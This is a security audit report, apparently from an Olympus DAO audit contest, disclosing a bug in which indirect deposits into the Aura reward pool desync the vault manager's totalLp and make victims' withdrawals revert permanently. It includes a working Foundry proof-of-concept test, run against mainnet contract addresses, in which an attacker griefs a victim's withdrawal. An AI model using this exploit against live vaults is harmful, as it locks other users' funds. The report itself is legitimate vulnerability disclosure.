hickuphh3

high

# User withdrawals can be griefed via indirect vault deposits

## Summary
Users can directly deposit their LP tokens into the AURA reward pool, with their vault as the receiver. This causes a discrepancy between the `totalLp` tracked and the actual amount of LP tokens held by the all vaults, which can be used to grief withdrawals.

## Vulnerability Detail
The `AuraRewardPool` allows the caller to specify a receiver:

```solidity
function deposit(uint256 assets_, address receiver_) external;
```

Hence, anyone can indirectly credit a vault, which causes the `totalLp` tracked to be less than the actual amount of LPs held across all vaults. This can cause withdrawals to fail because it decreases the `totalLp` variable:

```solidity
// Decrease total LP
manager.decreaseTotalLp(lpAmount_);
```

```solidity
function decreaseTotalLp(uint256 amount_) external override onlyWhileActive onlyVault {
  if (amount_ > totalLp) revert BLManagerLido_InvalidLpAmount();
  totalLp -= amount_;
}
```

## POC
Kindly view the `testGriefDeposit()` test case, where the victim's withdrawal will fail with the `BLManagerLido_InvalidLpAmount` custom error.

```solidity
// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;

import "forge-std/Test.sol";
import {FullMath} from "libraries/FullMath.sol";
import "../../../../src/policies/BoostedLiquidity/interfaces/IBalancer.sol";
import "../../../../src/policies/BoostedLiquidity/interfaces/IAura.sol";
import {IERC20} from "src/external/OlympusERC20.sol";
import "src/Kernel.sol";
import {MockPriceFeed} from "test/mocks/MockPriceFeed.sol";
import {OlympusMinter} from "modules/MINTR/OlympusMinter.sol";
import {OlympusTreasury} from "modules/TRSRY/OlympusTreasury.sol";
import {OlympusBoostedLiquidityRegistry} from "modules/BLREG/OlympusBoostedLiquidityRegistry.sol";
import {OlympusRoles, ROLESv1} from "modules/ROLES/OlympusRoles.sol";
import {RolesAdmin} from "policies/RolesAdmin.sol";
import {IBLVaultManagerLido, BLVaultManagerLido} from "policies/BoostedLiquidity/BLVaultManagerLido.sol";
import "policies/BoostedLiquidity/BLVaultLido.sol";

contract BLVaultIntegration is Test {
  // wstETH whale
  address user = 0x5fEC2f34D80ED82370F733043B6A536d7e9D7f8d;
  IERC20 liquidityPool = IERC20(0xd4f79CA0Ac83192693bce4699d0c10C66Aa6Cf0F);
  IERC20 aura = IERC20(0xC0c293ce456fF0ED870ADd98a0828Dd4d2903DBF);
  IERC20 bal = IERC20(0xba100000625a3754423978a60c9317c58a424e3D);
  IERC20 auraBAL = IERC20(0x616e8BfA43F920657B3497DBf40D6b1A02D4608d);
  IERC20 ohm = IERC20(0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5);
  IERC20 wsteth = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);
  IAuraMiningLib auraMiningLib = IAuraMiningLib(0x744Be650cea753de1e69BF6BAd3c98490A855f52);
  IAuraRewardPool auraRewardPool = IAuraRewardPool(0x636024F9Ddef77e625161b2cCF3A2adfbfAd3615);
  uint256 pid = 73;
  address auraBooster = 0xA57b8d98dAE62B26Ec3bcC4a365338157060B234;
  IVault balVault = IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
  IBalancerHelper balancerHelper = IBalancerHelper(0xE39B5e3B6D74016b2F6A9673D7d7493B6DF549d5);

  MockPriceFeed stethEthPriceFeed = MockPriceFeed(0x86392dC19c0b719886221c78AB11eb8Cf5c52812);
  MockPriceFeed ohmEthPriceFeed = MockPriceFeed(0x9a72298ae3886221820B1c878d12D872087D3a23);

  // Olympus DAO V3 contracts
  Kernel kernel = Kernel(0x2286d7f9639e8158FaD1169e76d1FbC38247f54b);
  address executor = kernel.executor();
  OlympusMinter minter = OlympusMinter(0xa90bFe53217da78D900749eb6Ef513ee5b6a491e);
  OlympusTreasury treasury = OlympusTreasury(0xa8687A15D4BE32CC8F0a8a7B9704a4C3993D9613);
  OlympusBoostedLiquidityRegistry blreg = new OlympusBoostedLiquidityRegistry(kernel);
  OlympusRoles rolesAdmin = OlympusRoles(0x6CAfd730Dc199Df73C16420C4fCAb18E3afbfA59);

  BLVaultManagerLido vaultManager;
  BLVaultLido vaultImplementation;
  BLVaultLido userVault;

  function setUp() public {
      vaultImplementation = new BLVaultLido();
      IBLVaultManagerLido.TokenData memory tokenData = IBLVaultManagerLido.TokenData({
          ohm: address(ohm),
          pairToken: address(wsteth),
          aura: address(aura),
          bal: address(bal)
      });

      IBLVaultManagerLido.BalancerData memory balancerData = IBLVaultManagerLido
          .BalancerData({
              vault: address(balVault),
              liquidityPool: address(liquidityPool),
              balancerHelper: address(balancerHelper)
          });
      
      IBLVaultManagerLido.AuraData memory auraData = IBLVaultManagerLido.AuraData({
          pid: pid,
          auraBooster: auraBooster,
          auraRewardPool: address(auraRewardPool)
      });

      IBLVaultManagerLido.OracleFeed memory ohmEthPriceFeedData = IBLVaultManagerLido
          .OracleFeed({feed: ohmEthPriceFeed, updateThreshold: uint48(1 days)});

      IBLVaultManagerLido.OracleFeed memory stethEthPriceFeedData = IBLVaultManagerLido
          .OracleFeed({feed: stethEthPriceFeed, updateThreshold: uint48(1 days)});
      
      vaultManager = new BLVaultManagerLido(
          kernel,
          tokenData,
          balancerData,
          auraData,
          address(auraMiningLib),
          ohmEthPriceFeedData,
          stethEthPriceFeedData,
          address(vaultImplementation),
          100_000e9,
          0
      );
      
      // Initialize system
      {
          vm.startPrank(executor);

          // Initialize modules
          kernel.executeAction(Actions.InstallModule, address(blreg));

          // Activate policies
          kernel.executeAction(Actions.ActivatePolicy, address(vaultManager));
          kernel.executeAction(Actions.ActivatePolicy, address(this));
          vm.stopPrank();
      }

       // grant this contract liquidity vault admin role
      {
          rolesAdmin.saveRole("liquidityvault_admin", address(this));
      }

      // Activate Vault Manager
      {
          vaultManager.activate();
      }

      // Prepare user's account
      // Create user vault
      vm.startPrank(user);
      userVault = BLVaultLido(vaultManager.deployVault());

      // Approve wstETH to user's vault
      wsteth.approve(address(userVault), type(uint256).max);
      vm.stopPrank();
  }

  function testGriefDeposit() public {
      //////////////////
      /// TEST SETUP ///
      //////////////////
      uint256 ohmAmt = 1000e9;
      uint256 wstethAmt = 1e18;

      // send some OHM to attacker
      vm.prank(0x1EFFD55a8646F7dC67c7578C20ce575cefeB1120);
      ohm.transfer(user, ohmAmt);

      address victim = address(123);
      vm.prank(user);
      wsteth.transfer(victim, wstethAmt);

      vm.startPrank(victim);
      BLVaultLido victimVault = BLVaultLido(vaultManager.deployVault());
      wsteth.approve(address(victimVault), type(uint256).max);

      // 1. victim performs a deposit
      uint256 victimLpAmt = victimVault.deposit(wstethAmt, 0);
      vm.stopPrank();

      // 2. attacker manually deposits into bal pool, then aura pool with vault as the receiver
      vm.startPrank(user);
      _depositInPoolWithVaultAsReceiver(ohmAmt, wstethAmt * 5);
      // Check that attacker has more LP than victim
      assertGt(auraRewardPool.balanceOf(address(userVault)), auraRewardPool.balanceOf(address(victimVault)));

      // attacker then withdraws from user vault
      uint256[] memory minAmountsOut = new uint256[](2);
      userVault.withdraw(victimLpAmt, minAmountsOut, true);

      // 3. victim is unable to withdraw
      vm.stopPrank();
      vm.expectRevert(BLVaultManagerLido.BLManagerLido_InvalidLpAmount.selector);
      vm.prank(victim);
      victimVault.withdraw(victimLpAmt, minAmountsOut, true);
  }

  function _depositInPoolWithVaultAsReceiver(uint256 ohmAmount_, uint256 wstethAmount_) internal {
      // Build join pool request
      address[] memory assets = new address[](2);
      assets[0] = address(ohm);
      assets[1] = address(wsteth);

      uint256[] memory maxAmountsIn = new uint256[](2);
      maxAmountsIn[0] = ohmAmount_;
      maxAmountsIn[1] = wstethAmount_;

      JoinPoolRequest memory joinPoolRequest = JoinPoolRequest({
          assets: assets,
          maxAmountsIn: maxAmountsIn,
          userData: abi.encode(1, maxAmountsIn, 0),
          fromInternalBalance: false
      });

      // Join balancer pool
      ohm.approve(address(balVault), ohmAmount_);
      wsteth.approve(address(balVault), wstethAmount_);
      balVault.joinPool(IBasePool(address(liquidityPool)).getPoolId(), user, user, joinPoolRequest);

      // Join aura pool
      liquidityPool.approve(address(auraRewardPool), type(uint256).max);
      auraRewardPool.deposit(liquidityPool.balanceOf(user), address(userVault));
  }

  function configureDependencies() external returns (Keycode[] memory dependencies) {}

  function requestPermissions() external view returns (Permissions[] memory requests) {
     Keycode ROLES_KEYCODE = toKeycode("ROLES");

      requests = new Permissions[](2);
      requests[0] = Permissions(ROLES_KEYCODE, rolesAdmin.saveRole.selector);
      requests[1] = Permissions(ROLES_KEYCODE, rolesAdmin.removeRole.selector);
  }
}
```

## Impact
User's withdrawals are griefed and permanently locked.

## Code Snippet
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/interfaces/IAura.sol#L27

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L217-L218

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L276-L280

## Tool used
Manual Review, Integration Testing

## Recommendation
Consider how the case where vaults are indirectly credited deposits should be handled. From what I see, the tracking of total LPs isn't strictly necessary.